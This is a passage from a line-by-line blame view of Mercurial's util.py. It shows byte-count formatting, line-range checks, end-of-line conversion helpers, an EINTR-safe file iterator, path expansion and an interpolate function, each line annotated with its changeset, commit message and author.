43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2703 b[0 : len(res)] = res
37055 8c3c47362934 wireproto: implement basic frame reading and processing Gregory Szorc <gregory.szorc@gmail.com> parents: 37047 diff changeset	2704 return len(res)
8c3c47362934 wireproto: implement basic frame reading and processing Gregory Szorc <gregory.szorc@gmail.com> parents: 37047 diff changeset	2705
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2706
18735 716cad930691 util: generalize bytecount to unitcountfn Bryan O'Sullivan <bryano@fb.com> parents: 18678 diff changeset	2707 def unitcountfn(*unittable):
716cad930691 util: generalize bytecount to unitcountfn Bryan O'Sullivan <bryano@fb.com> parents: 18678 diff changeset	2708 '''return a function that renders a readable count of some quantity'''
716cad930691 util: generalize bytecount to unitcountfn Bryan O'Sullivan <bryano@fb.com> parents: 18678 diff changeset	2709
716cad930691 util: generalize bytecount to unitcountfn Bryan O'Sullivan <bryano@fb.com> parents: 18678 diff changeset	2710 def go(count):
716cad930691 util: generalize bytecount to unitcountfn Bryan O'Sullivan <bryano@fb.com> parents: 18678 diff changeset	2711 for multiplier, divisor, format in unittable:
31946 f3b80537a70d util: fix human-readable printing of negative byte counts G?bor Stefanik <gabor.stefanik@nng.com> parents: 31934 diff changeset	2712 if abs(count) >= divisor * multiplier:
18735 716cad930691 util: generalize bytecount to unitcountfn Bryan O'Sullivan <bryano@fb.com> parents: 18678 diff changeset	2713 return format % (count / float(divisor))
716cad930691 util: generalize bytecount to unitcountfn Bryan O'Sullivan <bryano@fb.com> parents: 18678 diff changeset	2714 return unittable[-1][2] % count
716cad930691 util: generalize bytecount to unitcountfn Bryan O'Sullivan <bryano@fb.com> parents: 18678 diff changeset	2715
716cad930691 util: generalize bytecount to unitcountfn Bryan O'Sullivan <bryano@fb.com> parents: 18678 diff changeset	2716 return go
716cad930691 util: generalize bytecount to unitcountfn Bryan O'Sullivan <bryano@fb.com> parents: 18678 diff changeset	2717
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2718
31667 080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2719 def processlinerange(fromline, toline):
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2720 """Check that linerange <fromline>:<toline> makes sense and return a
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2721 0-based range.
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2722
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2723 >>> processlinerange(10, 20)
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2724 (9, 20)
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2725 >>> processlinerange(2, 1)
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2726 Traceback (most recent call last):
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2727 ...
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2728 ParseError: line range must be positive
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2729 >>> processlinerange(0, 5)
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2730 Traceback (most recent call last):
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2731 ...
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2732 ParseError: fromline must be strictly positive
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2733 """
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2734 if toline - fromline < 0:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2735 raise error.ParseError(_(b"line range must be positive"))
31667 080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2736 if fromline < 1:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2737 raise error.ParseError(_(b"fromline must be strictly positive"))
31667 080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2738 return fromline - 1, toline
080734cd2440 revset: factor out linerange processing into a utility function Denis Laxalde <denis.laxalde@logilab.fr> parents: 31603 diff changeset	2739
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2740
18735 716cad930691 util: generalize bytecount to unitcountfn Bryan O'Sullivan <bryano@fb.com> parents: 18678 diff changeset	2741 bytecount = unitcountfn(
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2742 (100, 1 << 30, _(b'%.0f GB')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2743 (10, 1 << 30, _(b'%.1f GB')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2744 (1, 1 << 30, _(b'%.2f GB')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2745 (100, 1 << 20, _(b'%.0f MB')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2746 (10, 1 << 20, _(b'%.1f MB')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2747 (1, 1 << 20, _(b'%.2f MB')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2748 (100, 1 << 10, _(b'%.0f KB')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2749 (10, 1 << 10, _(b'%.1f KB')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2750 (1, 1 << 10, _(b'%.2f KB')),
687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2751 (1, 1, _(b'%.0f bytes')),
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2752 )
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2753
16397 f0f7f3fab315 util: create bytecount array just once Matt Mackall <mpm@selenic.com> parents: 16383 diff changeset	2754
36845 472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2755 class transformingwriter(object):
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2756 """Writable file wrapper to transform data by function"""
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2757
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2758 def __init__(self, fp, encode):
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2759 self._fp = fp
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2760 self._encode = encode
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2761
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2762 def close(self):
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2763 self._fp.close()
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2764
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2765 def flush(self):
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2766 self._fp.flush()
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2767
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2768 def write(self, data):
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2769 return self._fp.write(self._encode(data))
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2770
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2771
31779 fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension Yuya Nishihara <yuya@tcha.org> parents: 31725 diff changeset	2772 # Matches a single EOL which can either be a CRLF where repeated CR
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension Yuya Nishihara <yuya@tcha.org> parents: 31725 diff changeset	2773 # are removed or a LF. We do not care about old Macintosh files, so a
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension Yuya Nishihara <yuya@tcha.org> parents: 31725 diff changeset	2774 # stray CR is an error.
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension Yuya Nishihara <yuya@tcha.org> parents: 31725 diff changeset	2775 _eolre = remod.compile(br'\r*\n')
fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension Yuya Nishihara <yuya@tcha.org> parents: 31725 diff changeset	2776
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2777
31779 fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension Yuya Nishihara <yuya@tcha.org> parents: 31725 diff changeset	2778 def tolf(s):
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2779 return _eolre.sub(b'\n', s)
31779 fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension Yuya Nishihara <yuya@tcha.org> parents: 31725 diff changeset	2780
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2781
31779 fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension Yuya Nishihara <yuya@tcha.org> parents: 31725 diff changeset	2782 def tocrlf(s):
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2783 return _eolre.sub(b'\r\n', s)
31779 fe9b33bcec6a util: extract pure tolf/tocrlf() functions from eol extension Yuya Nishihara <yuya@tcha.org> parents: 31725 diff changeset	2784
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2785
36845 472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2786 def _crlfwriter(fp):
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2787 return transformingwriter(fp, tocrlf)
472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2788
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2789
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2790 if pycompat.oslinesep == b'\r\n':
31780 6a5b69b0abec util: add helper to convert between LF and native EOL Yuya Nishihara <yuya@tcha.org> parents: 31779 diff changeset	2791 tonativeeol = tocrlf
6a5b69b0abec util: add helper to convert between LF and native EOL Yuya Nishihara <yuya@tcha.org> parents: 31779 diff changeset	2792 fromnativeeol = tolf
36845 472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2793 nativeeolwriter = _crlfwriter
31780 6a5b69b0abec util: add helper to convert between LF and native EOL Yuya Nishihara <yuya@tcha.org> parents: 31779 diff changeset	2794 else:
6a5b69b0abec util: add helper to convert between LF and native EOL Yuya Nishihara <yuya@tcha.org> parents: 31779 diff changeset	2795 tonativeeol = pycompat.identity
6a5b69b0abec util: add helper to convert between LF and native EOL Yuya Nishihara <yuya@tcha.org> parents: 31779 diff changeset	2796 fromnativeeol = pycompat.identity
36845 472c68cda3f8 py3: wrap file object to write patch in native eol preserving byte-ness Yuya Nishihara <yuya@tcha.org> parents: 36843 diff changeset	2797 nativeeolwriter = pycompat.identity
31780 6a5b69b0abec util: add helper to convert between LF and native EOL Yuya Nishihara <yuya@tcha.org> parents: 31779 diff changeset	2798
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2799 if pyplatform.python_implementation() == b'CPython' and sys.version_info < (
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2800 3,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2801 0,
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2802 ):
30428 1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2803 # There is an issue in CPython that some IO methods do not handle EINTR
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2804 # correctly. The following table shows what CPython version (and functions)
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2805 # are affected (buggy: has the EINTR bug, okay: otherwise):
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2806 #
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2807 # \| < 2.7.4 \| 2.7.4 to 2.7.12 \| >= 3.0
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2808 # --------------------------------------------------
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2809 # fp.__iter__ \| buggy \| buggy \| okay
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2810 # fp.read* \| buggy \| okay [1] \| okay
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2811 #
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2812 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2813 #
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2814 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2815 # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2816 #
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2817 # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2818 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2819 # CPython 2, because CPython 2 maintains an internal readahead buffer for
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2820 # fp.__iter__ but not other fp.read* methods.
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2821 #
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2822 # On modern systems like Linux, the "read" syscall cannot be interrupted
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2823 # when reading "fast" files like on-disk files. So the EINTR issue only
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2824 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2825 # files approximately as "fast" files and use the fast (unsafe) code path,
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2826 # to minimize the performance impact.
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2827 if sys.version_info >= (2, 7, 4):
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2828 # fp.readline deals with EINTR correctly, use it as a workaround.
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2829 def _safeiterfile(fp):
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2830 return iter(fp.readline, b'')
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2831
30428 1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2832 else:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2833 # fp.read* are broken too, manually deal with EINTR in a stupid way.
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2834 # note: this may block longer than necessary because of bufsize.
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2835 def _safeiterfile(fp, bufsize=4096):
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2836 fd = fp.fileno()
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2837 line = b''
30428 1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2838 while True:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2839 try:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2840 buf = os.read(fd, bufsize)
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2841 except OSError as ex:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2842 # os.read only raises EINTR before any data is read
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2843 if ex.errno == errno.EINTR:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2844 continue
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2845 else:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2846 raise
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2847 line += buf
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2848 if b'\n' in buf:
30428 1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2849 splitted = line.splitlines(True)
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2850 line = b''
30428 1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2851 for l in splitted:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2852 if l[-1] == b'\n':
30428 1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2853 yield l
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2854 else:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2855 line = l
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2856 if not buf:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2857 break
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2858 if line:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2859 yield line
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2860
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2861 def iterfile(fp):
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2862 fastpath = True
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2863 if type(fp) is file:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2864 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2865 if fastpath:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2866 return fp
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2867 else:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2868 return _safeiterfile(fp)
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2869
2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2870
30428 1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2871 else:
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2872 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2873 def iterfile(fp):
1156ec81f709 util: improve iterfile so it chooses code path wisely Jun Wu <quark@fb.com> parents: 30427 diff changeset	2874 return fp
30405 10514a92860e util: add iterfile to workaround a fileobj.__iter__ issue with EINTR Jun Wu <quark@fb.com> parents: 30369 diff changeset	2875
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2876
7879 5c4026a289a4 templater: ability to display diffstat for log-like commands Alexander Solovyov <piranha at piranha.org.ua> parents: 7875 diff changeset	2877 def iterlines(iterator):
5c4026a289a4 templater: ability to display diffstat for log-like commands Alexander Solovyov <piranha at piranha.org.ua> parents: 7875 diff changeset	2878 for chunk in iterator:
5c4026a289a4 templater: ability to display diffstat for log-like commands Alexander Solovyov <piranha at piranha.org.ua> parents: 7875 diff changeset	2879 for line in chunk.splitlines():
5c4026a289a4 templater: ability to display diffstat for log-like commands Alexander Solovyov <piranha at piranha.org.ua> parents: 7875 diff changeset	2880 yield line
9610 d78fe60f6bda make path expanding more consistent Alexander Solovyov <piranha@piranha.org.ua> parents: 9569 diff changeset	2881
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2882
9610 d78fe60f6bda make path expanding more consistent Alexander Solovyov <piranha@piranha.org.ua> parents: 9569 diff changeset	2883 def expandpath(path):
d78fe60f6bda make path expanding more consistent Alexander Solovyov <piranha@piranha.org.ua> parents: 9569 diff changeset	2884 return os.path.expanduser(os.path.expandvars(path))
10239 8e4be44a676f Find right hg command for detached process Patrick Mezard <pmezard@gmail.com> parents: 10199 diff changeset	2885
43076 2372284d9457 formatting: blacken the codebase Augie Fackler <augie@google.com> parents: 42782 diff changeset	2886
13392 777cef34a890 dispatch: support for $ escaping in shell-alias definition Roman Sokolov <sokolov.r.v@gmail.com> parents: 13375 diff changeset	2887 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
11988 8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2888 """Return the result of interpolating items in the mapping into string s.
8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2889
8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2890 prefix is a single character string, or a two character string with
8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2891 a backslash as the first character if the prefix needs to be escaped in
8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2892 a regular expression.
8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2893
8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2894 fn is an optional function that will be applied to the replacement text
8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2895 just before replacement.
13392 777cef34a890 dispatch: support for $ escaping in shell-alias definition Roman Sokolov <sokolov.r.v@gmail.com> parents: 13375 diff changeset	2896
777cef34a890 dispatch: support for $ escaping in shell-alias definition Roman Sokolov <sokolov.r.v@gmail.com> parents: 13375 diff changeset	2897 escape_prefix is an optional flag that allows using doubled prefix for
777cef34a890 dispatch: support for $ escaping in shell-alias definition Roman Sokolov <sokolov.r.v@gmail.com> parents: 13375 diff changeset	2898 its escaping.
11988 8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2899 """
8380ed691df8 util: add an interpolate() function to for replacing multiple values Steve Losh <steve@stevelosh.com> parents: 11946 diff changeset	2900 fn = fn or (lambda s: s)
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2901 patterns = b'\|'.join(mapping.keys())
13392 777cef34a890 dispatch: support for $ escaping in shell-alias definition Roman Sokolov <sokolov.r.v@gmail.com> parents: 13375 diff changeset	2902 if escape_prefix:
43077 687b865b95ad formatting: byteify all mercurial/ and hgext/ string literals Augie Fackler <augie@google.com> parents: 43076 diff changeset	2903 patterns += b'\|' + prefix
13392 777cef34a890 dispatch: support for $ escaping in shell-alias definition Roman Sokolov <sokolov.r.v@gmail.com> parents: 13375 diff changeset	2904 if len(prefix) > 1:
777cef34a890 dispatch: support for $ escaping in shell-alias definition Roman Sokolov <sokolov.r.v@gmail.com> parents: 13375 diff changeset	2905 prefix_char = prefix[1:]
777cef34a890 dispatch: support for $ escaping in shell-alias definition Roman Sokolov <sokolov.r.v@gmail.com> parents: 13375 diff changeset	2906 else:
777cef34a890 dispatch: support for $ escaping in shell-alias definition Roman Sokolov <sokolov.r.v@gmail.com> parents: 13375 diff changeset	2907 prefix_char = prefix
777cef34a890 dispatch: support for $ escaping in shell-alias definition Roman Sokolov <sokolov.r.v@gmail.com> parents: 13375 diff changeset	2908 mapping[prefix_char] = prefix_char
